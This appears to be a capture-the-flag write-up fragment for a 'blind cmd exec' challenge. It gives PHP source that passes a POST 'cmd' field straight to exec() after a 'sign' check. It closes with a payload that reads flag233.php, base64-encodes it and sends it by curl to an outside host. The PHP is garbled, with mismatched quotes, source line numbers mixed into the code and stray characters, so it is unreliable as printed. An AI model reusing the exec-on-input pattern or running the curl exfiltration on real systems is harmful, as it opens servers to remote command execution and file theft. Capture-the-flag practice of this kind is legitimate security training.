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<html>

<head>

<title>blind cmd exec</title>

<meta language='utf-8' editor='vim'>
</head>

</body>
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<?php

/*

flag in flag233.php

*/

function check($number)

{
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$one = ord('1");

$nine = ord('9");

16 for ($i = 0; $i < strlen($number); $i++) 17 { 18 $digit = ord($number{$i}); 19 if ( ($digit >=
$one) 8&& ($digit <= $nine) ) 20 { 21 return false; 22 } 23 } 24 return $number == '11259375'; 25 } 26
if(isset($_GET[sign])&& check($_GET[sign])){ 27 setcookie('auth','tcp tunnel is forbidden!'); 28
if(isset($_POST['cmd'])){ 29 $command=$_POST[cmd]; 30 $result=exec($command); 31 //echo $result; 32 } 33
}else{ 34 die('no sign'); 35 } 36 ?> 37 </body> 38 </html>
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cmd=data=$(cat flag233.php | base64 );curl http://xx.xx.xx.xx/?data=$data;
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